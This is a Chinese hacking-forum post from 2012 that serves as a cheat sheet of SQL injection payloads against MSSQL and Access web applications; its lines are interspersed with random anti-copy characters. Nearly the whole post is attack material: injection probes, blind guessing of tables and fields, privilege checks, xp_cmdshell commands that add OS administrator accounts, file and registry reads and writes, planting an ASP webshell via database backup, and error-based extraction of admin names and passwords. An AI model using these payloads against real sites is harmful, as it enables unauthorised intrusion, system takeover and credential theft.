找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2076|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入 ; d( o) {* Z) e$ D3 R
;and 1=1 * w# ]+ p7 k5 ^* U) M2 N& \8 R
;and 1=2
2 f  \) j+ U3 o$ \, V9 u. ^; L, ~* Q7 }4 E5 `' ^6 v! w, D+ \
2.初步判断是否是mssql
, U6 k" f+ P; l% C' B;and user>0 4 g: [, x' f: r' M7 F, H* o9 ?

9 R2 a4 y  ~* \0 R8 R! l3.判断数据库系统 ! G! ]* u* p% q5 q# @& L; S% Z
;and (select count(*) from sysobjects)>0 mssql 8 F+ I2 \! \) e' A
;and (select count(*) from msysobjects)>0 access 3 ^3 v9 i) a; k& J

6 a4 A# |! p3 _7 ]- |' \4.注入参数是字符
7 k) B6 |* c6 [$ A- i. o  C1 a'and [查询条件] and ''=' 7 z: U+ [# k" X, m9 ~. G$ [( K
2 q( E2 i: p1 K( m" W
5.搜索时没过滤参数的
4 ]& `0 y: V% u& E* j'and [查询条件] and '%25'='
" ?/ b! [* U3 H, n0 r
" D: u% z- j6 Q" p& I: P* v6.猜数表名
; c# g4 m7 Z6 o7 l& z4 c4 c;and (select Count(*) from [表名])>0
7 c+ I- o5 t. X0 Y! Z# {; q- L& K1 }2 m6 A+ Y  [
7.猜字段 & k) e0 I- K6 _0 L
;and (select Count(字段名) from 表名)>0
" _- N! K* c9 f" U3 f' ?1 \( c- _% p; w
8.猜字段中记录长度 . ~4 D8 l; o6 b* o# _2 S
;and (select top 1 len(字段名) from 表名)>0 " U4 C9 I- U+ G: p+ L2 R" v, W
( q, E5 E5 O: g! N. }5 n& b5 U
9.(1)猜字段的ascii值(access)
' H; L' C, B- Z2 L* K# F;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 1 W; X/ e8 S' `
1 D6 \! Z: j1 K7 f/ o
(2)猜字段的ascii值(mssql)
0 y* w, d* `- i' z) E$ }" A;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 $ X) e) }* u0 G

: a" A3 Q5 k( G/ V10.测试权限结构(mssql)
( T# F$ T& Q- z& v* B;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- # M1 ]6 Q5 K& F5 L  k
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / `/ q+ R2 R! y# g
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + `! M! Y+ R% O* o
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 v$ M2 v  y5 r3 [# d4 x;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
! K2 v! M  L7 {6 v;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- . ?+ m& Q& p1 j8 {
;and 1=(select IS_MEMBER('db_owner'));--
2 K, s5 m/ c2 C8 q% Z) W6 w3 ^# G5 e3 }6 P2 Q) y3 {& e
11.添加mssql和系统的帐户
, g6 j: V6 g1 W/ |;exec master.dbo.sp_addlogin username;--
& Y0 n( ?0 `$ h$ f) @& _. \;exec master.dbo.sp_password null,username,password;-- / l9 F" E! x( V: ^) i, q
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- / M5 v/ V9 b! M* \: s% q5 r
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 7 M) S  b2 C4 S  D
;exec master.dbo.xp_cmdshell 'net user username password /add';-- . g. O% g$ C( h1 `9 T& H
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
6 E4 I0 Z; _( z8 ?/ p0 _4 g1 h2 M
* c$ X! f, z9 S8 ?12.(1)遍历目录 % g. I. a2 x  d7 `% m  V
;create table dirs(paths varchar(100), id int)
1 @5 K. t: p0 k1 ?1 B" d* O;insert dirs exec master.dbo.xp_dirtree 'c:\' 6 @. w, X. {. J
;and (select top 1 paths from dirs)>0 5 d( {' P- K8 R( A' t" K
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) % ^) }& b1 r9 p+ ^9 m  u4 o
/ T% {1 _: m9 j1 ~( i0 b9 R
(2)遍历目录 # `& |0 r9 }! ^) R: q0 x
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! x% o0 r" G/ @9 S; C2 y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 8 @2 X1 }8 T2 Z6 U5 L$ H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
# c3 v7 j- Q1 d;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
" c1 x! x8 o3 o' d: i* A2 D;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 - q* ^# p' h0 Q6 h

. C* b1 P- l0 P& u; v6 ]13.mssql中的存储过程
; z9 w: Y1 s1 R9 t3 Z: Kxp_regenumvalues 注册表根键, 子键
' a" y; \1 n) Z9 B2 z7 e; M;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 4 S# ^5 A9 \; D  j  c+ f
xp_regread 根键,子键,键值名 + h$ }+ [, O  X! S
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 b: }( s$ }/ P# [' J
xp_regwrite 根键,子键, 值名, 值类型, 值
: T1 Z* V5 `# `3 I值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 9 L) a" z7 c* D6 O% V" m
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
7 k  C% m" e/ C1 S# cxp_regdeletevalue 根键,子键,值名 5 L3 E* I, i4 y4 m: p7 ?1 m
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
  k% B5 d' m5 D6 P+ k4 vxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
3 P. }7 J, m& @# p& q. U* C. G9 M  v0 J
14.mssql的backup创建webshell 8 h! ?: S7 \  g
use model # @% n( B; h% w* x7 }
create table cmd(str image); + n/ N. W9 {2 Y  l  B' _
insert into cmd(str) values ('<% Dim oScript %>');
' E- @. ^% k2 h0 s' o. Wbackup database model to disk='c:\l.asp'; : \' j1 \, j4 v! ?) a# F+ b
7 [! A  f4 t( R9 T) |$ b4 e
15.mssql内置函数
0 N* H! {! n* C  @  {: t;and (select @@version)>0 获得Windows的版本号
. u/ F5 z$ Y2 C. M+ C2 Q;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 `! ~' Z2 a" V9 x  S" W- G+ D;and (select user_name())>0 爆当前系统的连接用户 " i/ N' w' ~  W9 j3 k- f; W
;and (select db_name())>0 得到当前连接的数据库 ' m4 x* N$ i, U" a* P6 y
# l8 O9 p* B/ a0 r2 O6 [8 C

3 b. v; L2 E6 X: Y2 g5 M; A* C- }
2 y" ?  g% g6 E* J: g2 uMSSQL手注暴库
  N5 ~- @  I+ a1 ~5 t' Z( W* `5 G- e
1.暴出当前表名和列名1 n. c" ^/ I: m3 @! ^* N
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。, Q) B, K& R' y! \! d
0 S/ H9 n2 x; ?! U6 I! ~4 e
第一.爆出所有数据库名
/ w! ~# l* P4 ]8 _1 ]利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。  A8 J6 p9 h: x0 f3 R2 S2 t6 v1 Z% u  s+ K
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。- u7 C) H- I. F. _7 l

' C6 w, h5 `9 C2 @and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
+ U" W9 z9 B. i. }8 L9 V4 x8 P. k
0 s! f/ A, k8 J) y0 s
% }0 e( \0 Q/ w; c第二.爆出指定库中的所有表名, D- j( o; a# s2 d% ]0 U6 @0 w0 G  W
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。6 j9 A: R. {) l; [; \9 h! Y0 M) ?
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
# I; T) S2 g0 {% o* L# M+ g/ U/ x# z4 M
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--- K( s3 t" p8 f+ s# j' [! H: q0 b+ E
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--0 M% V- h! Q) D9 c
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
: O" O( m( b6 N6 x& C* C- C5 t) R* u4 d) o5 n7 _9 c
4.爆出指定表中的所有列名
0 e+ O" `9 K. ^3 land 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
0 q; {0 h- k5 \1 S0 X" g, l  a//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
" E- C3 `4 K7 ]4 b& c  S2 Q8 [) ~
8 i/ z" G5 [* ?- X; b( Dand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名; `) [* l4 E* r8 V, \

1 b4 u6 a5 x5 @* L6 W再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
5 k2 B2 I3 H6 _( A$ _3 x+ r0 P# K依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。. l3 x" n! Z* U( b' ~+ o
5 B0 A0 ~( f1 `" g9 _0 W
! y/ @+ Q; j) [9 Q* j
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
, g- b- a" q" ]! F7 h
" u  f  g( L& M' Q1 ?7 Band 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
8 l6 H3 ~( A- Z
0 A$ ^  i& l8 n8 \and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- . G4 o  ~6 F0 v' N' W
6 m4 z8 c( u8 [8 n0 F

$ t2 k9 m  l" N) B; Y8 Y/ L) N+ A7 d/ v. Q3 V7 x7 |% h  s
5.读取指定表中的数据/ g' e0 t+ |, V) K; X

2 i" b/ Y4 r1 [& v- U1 Fand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 # n, H3 N0 ]5 y/ p6 F& |# t" h
/ h# y* f+ L% h. E5 Z
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--2 e# ~% C1 w3 g

( {4 ?% i: T5 s. C$ ~1 m& C0 {8 w" O! Kand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
+ b  P  m- C2 ?9 s
$ P1 C# q+ j) n) }2 {
1 `1 ^# ~# X* Dand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)9 |* T  g% e+ }
- o7 H- h8 t3 K2 X* f
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
/ [, r7 u& a0 {$ l* D% K% u1 L/ N2 ^+ X6 ~! }: r7 Z+ h
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
& s2 h8 F( J3 V. M( v- H' \, o' p" a$ M7 ?: \5 D' E& G
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
3 W/ k' _' F$ d" m; v" X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表